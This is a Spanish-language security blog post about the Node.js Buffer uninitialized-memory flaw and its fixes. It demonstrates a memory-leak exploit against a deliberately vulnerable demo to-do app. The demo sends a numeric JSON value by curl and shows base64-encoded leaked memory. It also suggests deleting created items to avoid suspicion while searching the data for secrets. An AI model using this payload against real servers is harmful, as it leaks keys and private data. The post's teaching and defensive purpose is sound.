Skip to main content

Explotación de Buffer

Escrito por

5 de abril de 2016

0 minutos de lectura

Entre las maravillas de Node se esconde una bomba de tiempo llamada Buffer. Si se maneja incorrectamente, esta clase riesgosa puede filtrar fácilmente memoria del servidor y, con ella, tus secretos y claves, debido a una vulnerabilidad divulgada por Feross Aboukhadijeh y Mathias Buss Madsen. Proyectos populares y de buena reputación han caído en esta trampa, incluidos los paquetes npm mongoose, ws, request y, más recientemente, sequelize, que presentaron vulnerabilidades de amplio alcance.

En esta publicación explicaremos cómo funciona Buffer y por qué se comporta así. Ejecutaremos un exploit contra una aplicación vulnerable para mostrar mejor sus consecuencias. Por último, hablaremos de los cambios que puedes esperar en Node 6 y enumeraremos 5 pasos que puedes seguir para protegerte del comportamiento predeterminado de Buffer, y

¿Cómo llegamos hasta aquí?

JavaScript del lado del cliente nos evita tener que gestionar la asignación de memoria. Como ocurre con muchos lenguajes similares, en JS el motor subyacente (por ejemplo, V8) asigna memoria y la libera mediante el recolector de basura según sea necesario, lo que hace que programar sea más sencillo y seguro. En el navegador, impedir el acceso a la memoria también es necesario para mantener el entorno aislado en el que se ejecuta JS.

Cuando JS se extendió al servidor con Node, se eliminó el entorno aislado del navegador y aumentó la necesidad de procesar datos binarios de forma fácil y rápida. Para satisfacer estas necesidades, Node introdujo la clase Buffer, que trabaja con datos binarios. Ten en cuenta que más adelante, ES6 creó clases adicionales orientadas a datos binarios, especialmente TypedArray y ArrayBuffer.

Buffer es una matriz mutable de datos binarios que se puede inicializar con una cadena, una matriz o un número. Estos son algunos fragmentos de la documentación de node.js:

const buf1 = new Buffer([1,2,3]);
// creates a buffer containing [01, 02, 03]
const buf2 = new Buffer('test');   
// creates a buffer containing ASCII bytes [74, 65, 73, 74]
const buf3 = new Buffer(10);
// creates a buffer of length 10

Las dos primeras variantes simplemente crean una representación binaria del valor que reciben. La última, en cambio, preasigna un búfer del tamaño especificado, lo que la convierte en un búfer útil, sobre todo al leer datos de un flujo.

La falla de seguridad

Al usar el constructor number de Buffer, se asigna la memoria, pero no se llena con ceros. En cambio, el búfer asignado contiene… lo que sea que estuviera en la memoria en ese momento. Puedes comprobarlo tú mismo ejecutando Node en una terminal y creando repetidamente un Buffer de un tamaño determinado; verás que cada uno contiene valores diferentes, ya que apunta a otra sección de memoria utilizada anteriormente.

> new Buffer(10)
<Buffer 00 20 00 00 00 00 00 00 d0 4d>
> new Buffer(10)
<Buffer 50 74 84 02 01 00 00 00 0a 00>
> new Buffer(10)
<Buffer 78 74 84 02 01 00 00 00 05 00>

Este comportamiento está bien documentado, y puedes poner en cero la memoria asignada simplemente llamando a «buf.fill(0)». Sin embargo, si olvidas hacerlo, podrías filtrar memoria. Exponer memoria quizá no parezca tan grave hasta que consideras la cantidad de secretos —claves, código fuente e información del sistema— que podrían quedar expuestos. Heartbleed, la enorme vulnerabilidad de OpenSSL de 2014, permitía exponer memoria.

Demostración del riesgo de seguridad

Para entender mejor la vulnerabilidad de Buffer, veamos una aplicación vulnerable llamada Goof. Su código está publicado en GitHub, junto con instrucciones de instalación por si quieres ejecutar estos exploits tú mismo.

Interfaz de lista de tareas con “Arreglar la bicicleta” y “Llamar a mamá”, cada una con un botón rojo para eliminar

Esta es una aplicación sencilla (y vulnerable) de lista de tareas pendientes. Usa mongoose para comunicarse con MongoDB, donde se almacenan los elementos, mediante un esquema sencillo:

var Todo = new Schema({
  content    : Buffer,
  updated_at : Date
});

Como puedes ver, el campo content, que contiene la tarea pendiente, es de tipo Buffer, lo que permite que admita datos binarios. Como muchas aplicaciones de Node.js, snyk-demo-todo también expone una API JSON, que usaremos para crear un elemento desde la línea de comandos:

> curl https://localhost:3001/create --data '{"content":"Buy milk"}' -H "Content-Type: application/json"
QnV5IG1pbGs=%

El valor de la variable content se pasó al constructor Buffer, que inicializó una cadena corta que luego se escribió en la base de datos. El nuevo elemento se puede ver al explorar la aplicación y también se devuelve (codificado en base64) en la respuesta:

> echo "QnV5IG1pbGs=%" | base64 -D
Buy milk%
Interfaz de lista de tareas que muestra pendientes como comprar leche, arreglar la bicicleta y llamar a mamá, cada uno con un ícono rojo para eliminar

Ahora veamos el exploit de la vulnerabilidad. Enviaremos la misma solicitud, pero reemplazaremos la cadena "Buy Milk" por el número 800 sin comillas:

curl https://localhost:3001/create --data '{"content":800}' -H "Content-Type: application/json"

Como antes, el valor de content se pasa al constructor Buffer. Sin embargo, esta vez el valor es de tipo number, lo que activa el otro constructor de Buffer… Esto inicializará el elemento de la lista de tareas con 800 bytes de memoria sin inicializar, que se almacenan en la base de datos. Estos datos volverán a aparecer en la respuesta HTML (aunque son binarios y difíciles de leer) y se devolverán a nuestro curl tras codificarlos en base64:

# Response to exploit CURL command
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMDKIAQEAAACQMogBAQAAAAAAAAAAAAAAcCKIAQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAiiAEBAAAAMCOIAQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAjiAEBAAAAAAAAAAAAAADwI4gBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8BeIAQEAAAAAAAAAAAAAAAAAAAAAAAAA0BaIAQEAAABQGIgBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+G6IAQEAAAC4AYkBAQAAACgCiQEBAAAAmAKJAQEAAACQA4kBAQAAAAAEiQEBAAAAcASJAQEAAADgBIkBAQAAAFAFiQEBAAAAwAWJAQEAAAAwBokBAQAAAKAGiQEBAAAAEAeJAQEAAACAB4kBAQAAAPAHiQEBAAAAYAiJAQEAAADQCIkBAQAAAEAJiQEBAAAAsAmJAQEAAAAgCokBAQAAAJAKiQEBAAAAAAuJAQEAAABwC4kBAQAAAOALiQEBAAAAUAyJAQEAAADADIkBAQAAADANiQEBAAAAAAAAAAAAAAADAAMAAAAAAIAaaQEBAAAAONEDAwEAAAAAAAAAAAAAADjSAwMBAAAAAgAAAAAAAAAYdQMDAQAAACgpagEBAAAACClqAQEAAAAAAAAAAAAAAMgpagEBAAAAkCpqAQEAAABwKmoBAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAA
Interfaz de lista de tareas con un campo de entrada vacío y tareas para comprar leche, arreglar la bicicleta y llamar a mamá.

Ahora podemos repetir esta llamada una y otra vez para obtener más fragmentos de memoria y decodificarlos desde base64. Es probable que eliminemos las notas creadas a medida que avanzamos para evitar sospechas, mientras revisamos los datos o buscamos patrones como secret, ssh-key, código fuente y más.

¿Cómo lo solucionamos?

En nuestra aplicación de ejemplo, la vulnerabilidad estaba en la dependencia mongoose. La solución fue convertir los números en matrices y tratarlos como un número individual en lugar de como una longitud. Si usas una versión vulnerable de mongoose, actualízala a una versión más reciente. Si no tienes claro si la usas, utiliza Snyk para encontrar y corregir esta y otras vulnerabilidades.

Si la vulnerabilidad está en tu propio código, puedes impedir el uso del constructor number (convirtiéndolo opcionalmente en una matriz o una cadena) o usar la función fill(0) cada vez que se llame al constructor. Ten en cuenta que, aunque poner la memoria en cero es eficiente, lleva algo de tiempo en el caso de los búferes grandes, así que considera el impacto que esto podría tener en el rendimiento de tu aplicación.

Próximos cambios en Node 6

Este comportamiento predeterminado de Buffer es preocupante y ha causado múltiples vulnerabilidades conocidas, pero cambiarlo en las versiones actuales de Node es difícil, ya que podría romper aplicaciones. Sin embargo, a partir de Node 6, se recomienda usar los métodos explícitos alloc y allocUnsafe, que asignan espacio con y sin ponerlo en cero, respectivamente. Esta API explícita puede ayudar a los desarrolladores a evitar errores similares.

El constructor predeterminado seguirá disponible y funcionará igual, aunque quedará obsoleto y no se recomendará su uso. Dicho esto, puedes usar la opción --zero-fill-buffers de Node (también a partir de Node 6) para que el constructor numérico predeterminado de Buffer ponga en cero el búfer asignado.

5 pasos para mantenerte a salvo

Buffer es una clase útil, pero peligrosa. Si estás pensando en usarla, ten en cuenta lo siguiente:

  1. ¿Puedes usar TypedArray o ArrayBuffer en su lugar? Estas clases también son compatibles con datos binarios y ponen en cero la memoria.

  2. ¿Puedes impedir el uso del constructor number? Si es así, hazlo, como hizo mongoose.

  3. ¿Puedes poner en cero los datos asignados con buf.fill(0)? Esto tendrá un pequeño impacto en el rendimiento, pero será más seguro.

  4. Si de verdad no puedes hacer todo lo anterior, controla con mucho cuidado adónde va el contenido de Buffer. Con muchísimo cuidado.

  5. Si usas paquetes npm como dependencias, ejecuta snyk wizard para corregir las vulnerabilidades relacionadas con Buffer que puedan tener tus dependencias.

Empieza con los retos de Capture the Flag

Aprende a resolver retos de Capture the Flag viendo nuestro taller virtual de nivel básico a pedido.

Leer más

blog feature snyk container custom base recommendations
Blog

Presentamos Evo Agentic AppSec: seguridad al ritmo del desarrollo con IA

El desarrollo impulsado por IA supera el ritmo de los flujos de trabajo de seguridad tradicionales. Agentic AppSec de Snyk usa agentes de seguridad para encontrar, corregir y verificar vulnerabilidades de forma continua, mientras las personas definen el estándar.

blog feature ai violet
Blog

VulnBump: ¿Pueden los agentes de IA corregir dependencias vulnerables sin romper la compilación?

VulnBump prueba agentes de IA en 307 actualizaciones reales de dependencias. Una corrección cuenta solo si elimina la vulnerabilidad y mantiene en verde la compilación y las pruebas.

Blog

Los modelos de frontera encontraron las vulnerabilidades. Solo el atacante encontró las cadenas.

El análisis estático encontró las fallas, pero solo las pruebas de ataque en vivo demostraron cómo podían encadenarse para provocar brechas. Una comparación de Evo COS, Claude Security y Claude Code Security.